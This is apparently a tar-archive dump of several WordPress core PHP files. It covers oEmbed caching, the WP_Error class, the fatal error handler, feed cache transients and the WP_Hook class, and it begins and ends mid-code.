$embed_handler_html ) { return $embed_handler_html; } $post_ID = ( ! empty( $post->ID ) ) ? $post->ID : null; // Potentially set by WP_Embed::cache_oembed(). if ( ! empty( $this->post_ID ) ) { $post_ID = $this->post_ID; } // Check for a cached result (stored as custom post or in the post meta). $key_suffix = md5( $url . serialize( $attr ) ); $cachekey = '_oembed_' . $key_suffix; $cachekey_time = '_oembed_time_' . $key_suffix; /** * Filters the oEmbed TTL value (time to live). * * @since 4.0.0 * * @param int $time Time to live (in seconds). * @param string $url The attempted embed URL. * @param array $attr An array of shortcode attributes. * @param int $post_ID Post ID. */ $ttl = apply_filters( 'oembed_ttl', DAY_IN_SECONDS, $url, $attr, $post_ID ); $cache = ''; $cache_time = 0; $cached_post_id = $this->find_oembed_post_id( $key_suffix ); if ( $post_ID ) { $cache = get_post_meta( $post_ID, $cachekey, true ); $cache_time = get_post_meta( $post_ID, $cachekey_time, true ); if ( ! $cache_time ) { $cache_time = 0; } } elseif ( $cached_post_id ) { $cached_post = get_post( $cached_post_id ); $cache = $cached_post->post_content; $cache_time = strtotime( $cached_post->post_modified_gmt ); } $cached_recently = ( time() - $cache_time ) < $ttl; if ( $this->usecache || $cached_recently ) { // Failures are cached. Serve one if we're using the cache. if ( '{{unknown}}' === $cache ) { return $this->maybe_make_link( $url ); } if ( ! empty( $cache ) ) { /** * Filters the cached oEmbed HTML. * * @since 2.9.0 * * @see WP_Embed::shortcode() * * @param string|false $cache The cached HTML result, stored in post meta. * @param string $url The attempted embed URL. * @param array $attr An array of shortcode attributes. * @param int $post_ID Post ID. */ return apply_filters( 'embed_oembed_html', $cache, $url, $attr, $post_ID ); } } /** * Filters whether to inspect the given URL for discoverable link tags. * * @since 2.9.0 * @since 4.4.0 The default value changed to true. * * @see WP_oEmbed::discover() * * @param bool $enable Whether to enable `<link>` tag discovery. Default true. */ $attr['discover'] = apply_filters( 'embed_oembed_discover', true ); // Use oEmbed to get the HTML. $html = wp_oembed_get( $url, $attr ); if ( $post_ID ) { if ( $html ) { update_post_meta( $post_ID, $cachekey, $html ); update_post_meta( $post_ID, $cachekey_time, time() ); } elseif ( ! $cache ) { update_post_meta( $post_ID, $cachekey, '{{unknown}}' ); } } else { $has_kses = false !== has_filter( 'content_save_pre', 'wp_filter_post_kses' ); if ( $has_kses ) { // Prevent KSES from corrupting JSON in post_content. kses_remove_filters(); } $insert_post_args = array( 'post_name' => $key_suffix, 'post_status' => 'publish', 'post_type' => 'oembed_cache', ); if ( $html ) { if ( $cached_post_id ) { wp_update_post( wp_slash( array( 'ID' => $cached_post_id, 'post_content' => $html, ) ) ); } else { wp_insert_post( wp_slash( array_merge( $insert_post_args, array( 'post_content' => $html, ) ) ) ); } } elseif ( ! $cache ) { wp_insert_post( wp_slash( array_merge( $insert_post_args, array( 'post_content' => '{{unknown}}', ) ) ) ); } if ( $has_kses ) { kses_init_filters(); } } // If there was a result, return it. if ( $html ) { /** This filter is documented in wp-includes/class-wp-embed.php */ return apply_filters( 'embed_oembed_html', $html, $url, $attr, $post_ID ); } // Still unknown. return $this->maybe_make_link( $url ); } /** * Delete all oEmbed caches. Unused by core as of 4.0.0. * * @param int $post_ID Post ID to delete the caches for. */ public function delete_oembed_caches( $post_ID ) { $post_metas = get_post_custom_keys( $post_ID ); if ( empty( $post_metas ) ) { return; } foreach ( $post_metas as $post_meta_key ) { if ( '_oembed_' === substr( $post_meta_key, 0, 8 ) ) { delete_post_meta( $post_ID, $post_meta_key ); } } } /** * Triggers a caching of all oEmbed results. * * @param int $post_ID Post ID to do the caching for. */ public function cache_oembed( $post_ID ) { $post = get_post( $post_ID ); $post_types = get_post_types( array( 'show_ui' => true ) ); /** * Filters the array of post types to cache oEmbed results for. * * @since 2.9.0 * * @param string[] $post_types Array of post type names to cache oEmbed results for. Defaults to post types with `show_ui` set to true. */ $cache_oembed_types = apply_filters( 'embed_cache_oembed_types', $post_types ); if ( empty( $post->ID ) || ! in_array( $post->post_type, $cache_oembed_types, true ) ) { return; } // Trigger a caching. if ( ! empty( $post->post_content ) ) { $this->post_ID = $post->ID; $this->usecache = false; $content = $this->run_shortcode( $post->post_content ); $this->autoembed( $content ); $this->usecache = true; } } /** * Passes any unlinked URLs that are on their own line to WP_Embed::shortcode() for potential embedding. * * @see WP_Embed::autoembed_callback() * * @param string $content The content to be searched. * @return string Potentially modified $content. */ public function autoembed( $content ) { // Replace line breaks from all HTML elements with placeholders. $content = wp_replace_in_html_tags( $content, array( "\n" => '<!-- wp-line-break -->' ) ); if ( preg_match( '#(^|\s|>)https?://#i', $content ) ) { // Find URLs on their own line. $content = preg_replace_callback( '|^(\s*)(https?://[^\s<>"]+)(\s*)$|im', array( $this, 'autoembed_callback' ), $content ); // Find URLs in their own paragraph. $content = preg_replace_callback( '|(<p(?: [^>]*)?>\s*)(https?://[^\s<>"]+)(\s*<\/p>)|i', array( $this, 'autoembed_callback' ), $content ); } // Put the line breaks back. return str_replace( '<!-- wp-line-break -->', "\n", $content ); } /** * Callback function for WP_Embed::autoembed(). * * @param array $match A regex match array. * @return string The embed HTML on success, otherwise the original URL. */ public function autoembed_callback( $match ) { $oldval = $this->linkifunknown; $this->linkifunknown = false; $return = $this->shortcode( array(), $match[2] ); $this->linkifunknown = $oldval; return $match[1] . $return . $match[3]; } /** * Conditionally makes a hyperlink based on an internal class variable. * * @param string $url URL to potentially be linked. * @return string|false Linked URL or the original URL. False if 'return_false_on_fail' is true. */ public function maybe_make_link( $url ) { if ( $this->return_false_on_fail ) { return false; } $output = ( $this->linkifunknown ) ? '<a href="' . esc_url( $url ) . '">' . esc_html( $url ) . '</a>' : $url; /** * Filters the returned, maybe-linked embed URL. * * @since 2.9.0 * * @param string $output The linked or original URL. * @param string $url The original URL. */ return apply_filters( 'embed_maybe_make_link', $output, $url ); } /** * Find the oEmbed cache post ID for a given cache key. * * @since 4.9.0 * * @param string $cache_key oEmbed cache key. * @return int|null Post ID on success, null on failure. */ public function find_oembed_post_id( $cache_key ) { $cache_group = 'oembed_cache_post'; $oembed_post_id = wp_cache_get( $cache_key, $cache_group ); if ( $oembed_post_id && 'oembed_cache' === get_post_type( $oembed_post_id ) ) { return $oembed_post_id; } $oembed_post_query = new WP_Query( array( 'post_type' => 'oembed_cache', 'post_status' => 'publish', 'name' => $cache_key, 'posts_per_page' => 1, 'no_found_rows' => true, 'cache_results' => true, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, 'lazy_load_term_meta' => false, ) ); if ( ! empty( $oembed_post_query->posts ) ) { // Note: 'fields' => 'ids' is not being used in order to cache the post object as it will be needed. $oembed_post_id = $oembed_post_query->posts[0]->ID; wp_cache_set( $cache_key, $oembed_post_id, $cache_group ); return $oembed_post_id; } return null; } } ���������������������������������������������������������������������������������class-wp-error.php����������������������������������������������������������������������������������0000644�����������������00000016206�15120262030�0010131 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * WordPress Error API. * * @package WordPress */ /** * WordPress Error class. * * Container for checking for WordPress errors and error messages. Return * WP_Error and use is_wp_error() to check if this class is returned. Many * core WordPress functions pass this class in the event of an error and * if not handled properly will result in code errors. * * @since 2.1.0 */ class WP_Error { /** * Stores the list of errors. * * @since 2.1.0 * @var array */ public $errors = array(); /** * Stores the most recently added data for each error code. * * @since 2.1.0 * @var array */ public $error_data = array(); /** * Stores previously added data added for error codes, oldest-to-newest by code. * * @since 5.6.0 * @var array[] */ protected $additional_data = array(); /** * Initializes the error. * * If `$code` is empty, the other parameters will be ignored. * When `$code` is not empty, `$message` will be used even if * it is empty. The `$data` parameter will be used only if it * is not empty. * * Though the class is constructed with a single error code and * message, multiple codes can be added using the `add()` method. * * @since 2.1.0 * * @param string|int $code Error code. * @param string $message Error message. * @param mixed $data Optional. Error data. */ public function __construct( $code = '', $message = '', $data = '' ) { if ( empty( $code ) ) { return; } $this->add( $code, $message, $data ); } /** * Retrieves all error codes. * * @since 2.1.0 * * @return array List of error codes, if available. */ public function get_error_codes() { if ( ! $this->has_errors() ) { return array(); } return array_keys( $this->errors ); } /** * Retrieves the first error code available. * * @since 2.1.0 * * @return string|int Empty string, if no error codes. */ public function get_error_code() { $codes = $this->get_error_codes(); if ( empty( $codes ) ) { return ''; } return $codes[0]; } /** * Retrieves all error messages, or the error messages for the given error code. * * @since 2.1.0 * * @param string|int $code Optional. Retrieve messages matching code, if exists. * @return array Error strings on success, or empty array if there are none. */ public function get_error_messages( $code = '' ) { // Return all messages if no code specified. if ( empty( $code ) ) { $all_messages = array(); foreach ( (array) $this->errors as $code => $messages ) { $all_messages = array_merge( $all_messages, $messages ); } return $all_messages; } if ( isset( $this->errors[ $code ] ) ) { return $this->errors[ $code ]; } else { return array(); } } /** * Gets a single error message. * * This will get the first message available for the code. If no code is * given then the first code available will be used. * * @since 2.1.0 * * @param string|int $code Optional. Error code to retrieve message. * @return string The error message. */ public function get_error_message( $code = '' ) { if ( empty( $code ) ) { $code = $this->get_error_code(); } $messages = $this->get_error_messages( $code ); if ( empty( $messages ) ) { return ''; } return $messages[0]; } /** * Retrieves the most recently added error data for an error code. * * @since 2.1.0 * * @param string|int $code Optional. Error code. * @return mixed Error data, if it exists. */ public function get_error_data( $code = '' ) { if ( empty( $code ) ) { $code = $this->get_error_code(); } if ( isset( $this->error_data[ $code ] ) ) { return $this->error_data[ $code ]; } } /** * Verifies if the instance contains errors. * * @since 5.1.0 * * @return bool If the instance contains errors. */ public function has_errors() { if ( ! empty( $this->errors ) ) { return true; } return false; } /** * Adds an error or appends an additional message to an existing error. * * @since 2.1.0 * * @param string|int $code Error code. * @param string $message Error message. * @param mixed $data Optional. Error data. */ public function add( $code, $message, $data = '' ) { $this->errors[ $code ][] = $message; if ( ! empty( $data ) ) { $this->add_data( $data, $code ); } /** * Fires when an error is added to a WP_Error object. * * @since 5.6.0 * * @param string|int $code Error code. * @param string $message Error message. * @param mixed $data Error data. Might be empty. * @param WP_Error $wp_error The WP_Error object. */ do_action( 'wp_error_added', $code, $message, $data, $this ); } /** * Adds data to an error with the given code. * * @since 2.1.0 * @since 5.6.0 Errors can now contain more than one item of error data. {@see WP_Error::$additional_data}. * * @param mixed $data Error data. * @param string|int $code Error code. */ public function add_data( $data, $code = '' ) { if ( empty( $code ) ) { $code = $this->get_error_code(); } if ( isset( $this->error_data[ $code ] ) ) { $this->additional_data[ $code ][] = $this->error_data[ $code ]; } $this->error_data[ $code ] = $data; } /** * Retrieves all error data for an error code in the order in which the data was added. * * @since 5.6.0 * * @param string|int $code Error code. * @return mixed[] Array of error data, if it exists. */ public function get_all_error_data( $code = '' ) { if ( empty( $code ) ) { $code = $this->get_error_code(); } $data = array(); if ( isset( $this->additional_data[ $code ] ) ) { $data = $this->additional_data[ $code ]; } if ( isset( $this->error_data[ $code ] ) ) { $data[] = $this->error_data[ $code ]; } return $data; } /** * Removes the specified error. * * This function removes all error messages associated with the specified * error code, along with any error data for that code. * * @since 4.1.0 * * @param string|int $code Error code. */ public function remove( $code ) { unset( $this->errors[ $code ] ); unset( $this->error_data[ $code ] ); unset( $this->additional_data[ $code ] ); } /** * Merges the errors in the given error object into this one. * * @since 5.6.0 * * @param WP_Error $error Error object to merge. */ public function merge_from( WP_Error $error ) { static::copy_errors( $error, $this ); } /** * Exports the errors in this object into the given one. * * @since 5.6.0 * * @param WP_Error $error Error object to export into. */ public function export_to( WP_Error $error ) { static::copy_errors( $this, $error ); } /** * Copies errors from one WP_Error instance to another. * * @since 5.6.0 * * @param WP_Error $from The WP_Error to copy from. * @param WP_Error $to The WP_Error to copy to. */ protected static function copy_errors( WP_Error $from, WP_Error $to ) { foreach ( $from->get_error_codes() as $code ) { foreach ( $from->get_error_messages( $code ) as $error_message ) { $to->add( $code, $error_message ); } foreach ( $from->get_all_error_data( $code ) as $data ) { $to->add_data( $data, $code ); } } } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-fatal-error-handler.php��������������������������������������������������������������������0000644�����������������00000016557�15120262030�0012642 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Error Protection API: WP_Fatal_Error_Handler class * * @package WordPress * @since 5.2.0 */ /** * Core class used as the default shutdown handler for fatal errors. * * A drop-in 'fatal-error-handler.php' can be used to override the instance of this class and use a custom * implementation for the fatal error handler that WordPress registers. The custom class should extend this class and * can override its methods individually as necessary. The file must return the instance of the class that should be * registered. * * @since 5.2.0 */ class WP_Fatal_Error_Handler { /** * Runs the shutdown handler. * * This method is registered via `register_shutdown_function()`. * * @since 5.2.0 */ public function handle() { if ( defined( 'WP_SANDBOX_SCRAPING' ) && WP_SANDBOX_SCRAPING ) { return; } // Do not trigger the fatal error handler while updates are being installed. if ( wp_is_maintenance_mode() ) { return; } try { // Bail if no error found. $error = $this->detect_error(); if ( ! $error ) { return; } if ( ! isset( $GLOBALS['wp_locale'] ) && function_exists( 'load_default_textdomain' ) ) { load_default_textdomain(); } $handled = false; if ( ! is_multisite() && wp_recovery_mode()->is_initialized() ) { $handled = wp_recovery_mode()->handle_error( $error ); } // Display the PHP error template if headers not sent. if ( is_admin() || ! headers_sent() ) { $this->display_error_template( $error, $handled ); } } catch ( Exception $e ) { // Catch exceptions and remain silent. } } /** * Detects the error causing the crash if it should be handled. * * @since 5.2.0 * * @return array|null Error that was triggered, or null if no error received or if the error should not be handled. */ protected function detect_error() { $error = error_get_last(); // No error, just skip the error handling code. if ( null === $error ) { return null; } // Bail if this error should not be handled. if ( ! $this->should_handle_error( $error ) ) { return null; } return $error; } /** * Determines whether we are dealing with an error that WordPress should handle * in order to protect the admin backend against WSODs. * * @since 5.2.0 * * @param array $error Error information retrieved from error_get_last(). * @return bool Whether WordPress should handle this error. */ protected function should_handle_error( $error ) { $error_types_to_handle = array( E_ERROR, E_PARSE, E_USER_ERROR, E_COMPILE_ERROR, E_RECOVERABLE_ERROR, ); if ( isset( $error['type'] ) && in_array( $error['type'], $error_types_to_handle, true ) ) { return true; } /** * Filters whether a given thrown error should be handled by the fatal error handler. * * This filter is only fired if the error is not already configured to be handled by WordPress core. As such, * it exclusively allows adding further rules for which errors should be handled, but not removing existing * ones. * * @since 5.2.0 * * @param bool $should_handle_error Whether the error should be handled by the fatal error handler. * @param array $error Error information retrieved from error_get_last(). */ return (bool) apply_filters( 'wp_should_handle_php_error', false, $error ); } /** * Displays the PHP error template and sends the HTTP status code, typically 500. * * A drop-in 'php-error.php' can be used as a custom template. This drop-in should control the HTTP status code and * print the HTML markup indicating that a PHP error occurred. Note that this drop-in may potentially be executed * very early in the WordPress bootstrap process, so any core functions used that are not part of * `wp-includes/load.php` should be checked for before being called. * * If no such drop-in is available, this will call {@see WP_Fatal_Error_Handler::display_default_error_template()}. * * @since 5.2.0 * @since 5.3.0 The `$handled` parameter was added. * * @param array $error Error information retrieved from `error_get_last()`. * @param true|WP_Error $handled Whether Recovery Mode handled the fatal error. */ protected function display_error_template( $error, $handled ) { if ( defined( 'WP_CONTENT_DIR' ) ) { // Load custom PHP error template, if present. $php_error_pluggable = WP_CONTENT_DIR . '/php-error.php'; if ( is_readable( $php_error_pluggable ) ) { require_once $php_error_pluggable; return; } } // Otherwise, display the default error template. $this->display_default_error_template( $error, $handled ); } /** * Displays the default PHP error template. * * This method is called conditionally if no 'php-error.php' drop-in is available. * * It calls {@see wp_die()} with a message indicating that the site is experiencing technical difficulties and a * login link to the admin backend. The {@see 'wp_php_error_message'} and {@see 'wp_php_error_args'} filters can * be used to modify these parameters. * * @since 5.2.0 * @since 5.3.0 The `$handled` parameter was added. * * @param array $error Error information retrieved from `error_get_last()`. * @param true|WP_Error $handled Whether Recovery Mode handled the fatal error. */ protected function display_default_error_template( $error, $handled ) { if ( ! function_exists( '__' ) ) { wp_load_translations_early(); } if ( ! function_exists( 'wp_die' ) ) { require_once ABSPATH . WPINC . '/functions.php'; } if ( ! class_exists( 'WP_Error' ) ) { require_once ABSPATH . WPINC . '/class-wp-error.php'; } if ( true === $handled && wp_is_recovery_mode() ) { $message = __( 'There has been a critical error on this website, putting it in recovery mode. Please check the Themes and Plugins screens for more details. If you just installed or updated a theme or plugin, check the relevant page for that first.' ); } elseif ( is_protected_endpoint() ) { $message = __( 'There has been a critical error on this website. Please check your site admin email inbox for instructions.' ); } else { $message = __( 'There has been a critical error on this website.' ); } $message = sprintf( '<p>%s</p><p><a href="%s">%s</a></p>', $message, /* translators: Documentation about troubleshooting. */ __( 'https://wordpress.org/support/article/faq-troubleshooting/' ), __( 'Learn more about troubleshooting WordPress.' ) ); $args = array( 'response' => 500, 'exit' => false, ); /** * Filters the message that the default PHP error template displays. * * @since 5.2.0 * * @param string $message HTML error message to display. * @param array $error Error information retrieved from `error_get_last()`. */ $message = apply_filters( 'wp_php_error_message', $message, $error ); /** * Filters the arguments passed to {@see wp_die()} for the default PHP error template. * * @since 5.2.0 * * @param array $args Associative array of arguments passed to `wp_die()`. By default these contain a * 'response' key, and optionally 'link_url' and 'link_text' keys. * @param array $error Error information retrieved from `error_get_last()`. */ $args = apply_filters( 'wp_php_error_args', $args, $error ); $wp_error = new WP_Error( 'internal_server_error', $message, array( 'error' => $error, ) ); wp_die( $wp_error, '', $args ); } } �������������������������������������������������������������������������������������������������������������������������������������������������class-wp-feed-cache-transient.php�������������������������������������������������������������������0000644�����������������00000005000�15120262030�0012737 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Feed API: WP_Feed_Cache_Transient class * * @package WordPress * @subpackage Feed * @since 4.7.0 */ /** * Core class used to implement feed cache transients. * * @since 2.8.0 */ class WP_Feed_Cache_Transient { /** * Holds the transient name. * * @since 2.8.0 * @var string */ public $name; /** * Holds the transient mod name. * * @since 2.8.0 * @var string */ public $mod_name; /** * Holds the cache duration in seconds. * * Defaults to 43200 seconds (12 hours). * * @since 2.8.0 * @var int */ public $lifetime = 43200; /** * Constructor. * * @since 2.8.0 * @since 3.2.0 Updated to use a PHP5 constructor. * * @param string $location URL location (scheme is used to determine handler). * @param string $filename Unique identifier for cache object. * @param string $extension 'spi' or 'spc'. */ public function __construct( $location, $filename, $extension ) { $this->name = 'feed_' . $filename; $this->mod_name = 'feed_mod_' . $filename; $lifetime = $this->lifetime; /** * Filters the transient lifetime of the feed cache. * * @since 2.8.0 * * @param int $lifetime Cache duration in seconds. Default is 43200 seconds (12 hours). * @param string $filename Unique identifier for the cache object. */ $this->lifetime = apply_filters( 'wp_feed_cache_transient_lifetime', $lifetime, $filename ); } /** * Sets the transient. * * @since 2.8.0 * * @param SimplePie $data Data to save. * @return true Always true. */ public function save( $data ) { if ( $data instanceof SimplePie ) { $data = $data->data; } set_transient( $this->name, $data, $this->lifetime ); set_transient( $this->mod_name, time(), $this->lifetime ); return true; } /** * Gets the transient. * * @since 2.8.0 * * @return mixed Transient value. */ public function load() { return get_transient( $this->name ); } /** * Gets mod transient. * * @since 2.8.0 * * @return mixed Transient value. */ public function mtime() { return get_transient( $this->mod_name ); } /** * Sets mod transient. * * @since 2.8.0 * * @return bool False if value was not set and true if value was set. */ public function touch() { return set_transient( $this->mod_name, time(), $this->lifetime ); } /** * Deletes transients. * * @since 2.8.0 * * @return true Always true. */ public function unlink() { delete_transient( $this->name ); delete_transient( $this->mod_name ); return true; } } class-wp-feed-cache.php�����������������������������������������������������������������������������0000644�����������������00000001712�15120262030�0010740 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Feed API: WP_Feed_Cache class * * @package WordPress * @subpackage Feed * @since 4.7.0 * @deprecated 5.6.0 */ _deprecated_file( basename( __FILE__ ), '5.6.0', '', __( 'This file is only loaded for backward compatibility with SimplePie 1.2.x. Please consider switching to a recent SimplePie version.' ) ); /** * Core class used to implement a feed cache. * * @since 2.8.0 * * @see SimplePie_Cache */ class WP_Feed_Cache extends SimplePie_Cache { /** * Creates a new SimplePie_Cache object. * * @since 2.8.0 * * @param string $location URL location (scheme is used to determine handler). * @param string $filename Unique identifier for cache object. * @param string $extension 'spi' or 'spc'. * @return WP_Feed_Cache_Transient Feed cache handler object that uses transients. */ public function create( $location, $filename, $extension ) { return new WP_Feed_Cache_Transient( $location, $filename, $extension ); } } ������������������������������������������������������class-wp-hook.php�����������������������������������������������������������������������������������0000644�����������������00000035363�15120262030�0007745 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Plugin API: WP_Hook class * * @package WordPress * @subpackage Plugin * @since 4.7.0 */ /** * Core class used to implement action and filter hook functionality. * * @since 4.7.0 * * @see Iterator * @see ArrayAccess */ final class WP_Hook implements Iterator, ArrayAccess { /** * Hook callbacks. * * @since 4.7.0 * @var array */ public $callbacks = array(); /** * The priority keys of actively running iterations of a hook. * * @since 4.7.0 * @var array */ private $iterations = array(); /** * The current priority of actively running iterations of a hook. * * @since 4.7.0 * @var array */ private $current_priority = array(); /** * Number of levels this hook can be recursively called. * * @since 4.7.0 * @var int */ private $nesting_level = 0; /** * Flag for if we're current doing an action, rather than a filter. * * @since 4.7.0 * @var bool */ private $doing_action = false; /** * Hooks a function or method to a specific filter action. * * @since 4.7.0 * * @param string $tag The name of the filter to hook the $function_to_add callback to. * @param callable $function_to_add The callback to be run when the filter is applied. * @param int $priority The order in which the functions associated with a particular action * are executed. Lower numbers correspond with earlier execution, * and functions with the same priority are executed in the order * in which they were added to the action. * @param int $accepted_args The number of arguments the function accepts. */ public function add_filter( $tag, $function_to_add, $priority, $accepted_args ) { $idx = _wp_filter_build_unique_id( $tag, $function_to_add, $priority ); $priority_existed = isset( $this->callbacks[ $priority ] ); $this->callbacks[ $priority ][ $idx ] = array( 'function' => $function_to_add, 'accepted_args' => $accepted_args, ); // If we're adding a new priority to the list, put them back in sorted order. if ( ! $priority_existed && count( $this->callbacks ) > 1 ) { ksort( $this->callbacks, SORT_NUMERIC ); } if ( $this->nesting_level > 0 ) { $this->resort_active_iterations( $priority, $priority_existed ); } } /** * Handles resetting callback priority keys mid-iteration. * * @since 4.7.0 * * @param false|int $new_priority Optional. The priority of the new filter being added. Default false, * for no priority being added. * @param bool $priority_existed Optional. Flag for whether the priority already existed before the new * filter was added. Default false. */ private function resort_active_iterations( $new_priority = false, $priority_existed = false ) { $new_priorities = array_keys( $this->callbacks ); // If there are no remaining hooks, clear out all running iterations. if ( ! $new_priorities ) { foreach ( $this->iterations as $index => $iteration ) { $this->iterations[ $index ] = $new_priorities; } return; } $min = min( $new_priorities ); foreach ( $this->iterations as $index => &$iteration ) { $current = current( $iteration ); // If we're already at the end of this iteration, just leave the array pointer where it is. if ( false === $current ) { continue; } $iteration = $new_priorities; if ( $current < $min ) { array_unshift( $iteration, $current ); continue; } while ( current( $iteration ) < $current ) { if ( false === next( $iteration ) ) { break; } } // If we have a new priority that didn't exist, but ::apply_filters() or ::do_action() thinks it's the current priority... if ( $new_priority === $this->current_priority[ $index ] && ! $priority_existed ) { /* * ...and the new priority is the same as what $this->iterations thinks is the previous * priority, we need to move back to it. */ if ( false === current( $iteration ) ) { // If we've already moved off the end of the array, go back to the last element. $prev = end( $iteration ); } else { // Otherwise, just go back to the previous element. $prev = prev( $iteration ); } if ( false === $prev ) { // Start of the array. Reset, and go about our day. reset( $iteration ); } elseif ( $new_priority !== $prev ) { // Previous wasn't the same. Move forward again. next( $iteration ); } } } unset( $iteration ); } /** * Unhooks a function or method from a specific filter action. * * @since 4.7.0 * * @param string $tag The filter hook to which the function to be removed is hooked. * @param callable $function_to_remove The callback to be removed from running when the filter is applied. * @param int $priority The exact priority used when adding the original filter callback. * @return bool Whether the callback existed before it was removed. */ public function remove_filter( $tag, $function_to_remove, $priority ) { $function_key = _wp_filter_build_unique_id( $tag, $function_to_remove, $priority ); $exists = isset( $this->callbacks[ $priority ][ $function_key ] ); if ( $exists ) { unset( $this->callbacks[ $priority ][ $function_key ] ); if ( ! $this->callbacks[ $priority ] ) { unset( $this->callbacks[ $priority ] ); if ( $this->nesting_level > 0 ) { $this->resort_active_iterations(); } } } return $exists; } /** * Checks if a specific action has been registered for this hook. * * When using the `$function_to_check` argument, this function may return a non-boolean value * that evaluates to false (e.g. 0), so use the `===` operator for testing the return value. * * @since 4.7.0 * * @param string $tag Optional. The name of the filter hook. Default empty. * @param callable|false $function_to_check Optional. The callback to check for. Default false. * @return bool|int If `$function_to_check` is omitted, returns boolean for whether the hook has * anything registered. When checking a specific function, the priority of that * hook is returned, or false if the function is not attached. */ public function has_filter( $tag = '', $function_to_check = false ) { if ( false === $function_to_check ) { return $this->has_filters(); } $function_key = _wp_filter_build_unique_id( $tag, $function_to_check, false ); if ( ! $function_key ) { return false; } foreach ( $this->callbacks as $priority => $callbacks ) { if ( isset( $callbacks[ $function_key ] ) ) { return $priority; } } return false; } /** * Checks if any callbacks have been registered for this hook. * * @since 4.7.0 * * @return bool True if callbacks have been registered for the current hook, otherwise false. */ public function has_filters() { foreach ( $this->callbacks as $callbacks ) { if ( $callbacks ) { return true; } } return false; } /** * Removes all callbacks from the current filter. * * @since 4.7.0 * * @param int|false $priority Optional. The priority number to remove. Default false. */ public function remove_all_filters( $priority = false ) { if ( ! $this->callbacks ) { return; } if ( false === $priority ) { $this->callbacks = array(); } elseif ( isset( $this->callbacks[ $priority ] ) ) { unset( $this->callbacks[ $priority ] ); } if ( $this->nesting_level > 0 ) { $this->resort_active_iterations(); } } /** * Calls the callback functions that have been added to a filter hook. * * @since 4.7.0 * * @param mixed $value The value to filter. * @param array $args Additional parameters to pass to the callback functions. * This array is expected to include $value at index 0. * @return mixed The filtered value after all hooked functions are applied to it. */ public function apply_filters( $value, $args ) { if ( ! $this->callbacks ) { return $value; } $nesting_level = $this->nesting_level++; $this->iterations[ $nesting_level ] = array_keys( $this->callbacks ); $num_args = count( $args ); do { $this->current_priority[ $nesting_level ] = current( $this->iterations[ $nesting_level ] ); $priority = $this->current_priority[ $nesting_level ]; foreach ( $this->callbacks[ $priority ] as $the_ ) { if ( ! $this->doing_action ) { $args[0] = $value; } // Avoid the array_slice() if possible. if ( 0 == $the_['accepted_args'] ) { $value = call_user_func( $the_['function'] ); } elseif ( $the_['accepted_args'] >= $num_args ) { $value = call_user_func_array( $the_['function'], $args ); } else { $value = call_user_func_array( $the_['function'], array_slice( $args, 0, (int) $the_['accepted_args'] ) ); } } } while ( false !== next( $this->iterations[ $nesting_level ] ) ); unset( $this->iterations[ $nesting_level ] ); unset( $this->current_priority[ $nesting_level ] ); $this->nesting_level--; return $value; } /** * Calls the callback functions that have been added to an action hook. * * @since 4.7.0 * * @param array $args Parameters to pass to the callback functions. */ public function do_action( $args ) { $this->doing_action = true; $this->apply_filters( '', $args ); // If there are recursive calls to the current action, we haven't finished it until we get to the last one. if ( ! $this->nesting_level ) { $this->doing_action = false; } } /** * Processes the functions hooked into the 'all' hook. * * @since 4.7.0 * * @param array $args Arguments to pass to the hook callbacks. Passed by reference. */ public function do_all_hook( &$args ) { $nesting_level = $this->nesting_level++; $this->iterations[ $nesting_level ] = array_keys( $this->callbacks ); do { $priority = current( $this->iterations[ $nesting_level ] ); foreach ( $this->callbacks[ $priority ] as $the_ ) { call_user_func_array( $the_['function'], $args ); } } while ( false !== next( $this->iterations[ $nesting_level ] ) ); unset( $this->iterations[ $nesting_level ] ); $this->nesting_level--; } /** * Return the current priority level of the currently running iteration of the hook. * * @since 4.7.0 * * @return int|false If the hook is running, return the current priority level. If it isn't running, return false. */ public function current_priority() { if ( false === current( $this->iterations ) ) { return false; } return current( current( $this->iterations ) ); } /** * Normalizes filters set up before WordPress has initialized to WP_Hook objects. * * The `$filters` parameter should be an array keyed by hook name, with values * containing either: * * - A `WP_Hook` instance * - An array of callbacks keyed by their priorities * * Examples: * * $filters = array( * 'wp_fatal_error_handler_enabled' => array( * 10 => array( * array( * 'accepted_args' => 0, * 'function' => function() { * return false; * }, * ), * ), * ), * ); * * @since 4.7.0 * * @param array $filters Filters to normalize. See documentation above for details. * @return WP_Hook[] Array of normalized filters. */ public static function build_preinitialized_hooks( $filters ) { /** @var WP_Hook[] $normalized */ $normalized = array(); foreach ( $filters as $tag => $callback_groups ) { if ( is_object( $callback_groups ) && $callback_groups instanceof WP_Hook ) { $normalized[ $tag ] = $callback_groups; continue; } $hook = new WP_Hook(); // Loop through callback groups. foreach ( $callback_groups as $priority => $callbacks ) { // Loop through callbacks. foreach ( $callbacks as $cb ) { $hook->add_filter( $tag, $cb['function'], $priority, $cb['accepted_args'] ); } } $normalized[ $tag ] = $hook; } return $normalized; } /** * Determines whether an offset value exists. * * @since 4.7.0 * * @link https://www.php.net/manual/en/arrayaccess.offsetexists.php * * @param mixed $offset An offset to check for. * @return bool True if the offset exists, false otherwise. */ public function offsetExists( $offset ) { return isset( $this->callbacks[ $offset ] ); } /** * Retrieves a value at a specified offset. * * @since 4.7.0 * * @link https://www.php.net/manual/en/arrayaccess.offsetget.php * * @param mixed $offset The offset to retrieve. * @return mixed If set, the value at the specified offset, null otherwise. */ public function offsetGet( $offset ) { return isset( $this->callbacks[ $offset ] ) ? $this->callbacks[ $offset ] : null; } /** * Sets a value at a specified offset. * * @since 4.7.0 * * @link https://www.php.net/manual/en/arrayaccess.offsetset.php * * @param mixed $offset The offset to assign the value to. * @param mixed $value The value to set. */ public function offsetSet( $offset, $value ) { if ( is_null( $offset ) ) { $this->callbacks[] = $value; } else { $this->callbacks[ $offset ] = $value; } } /** * Unsets a specified offset. * 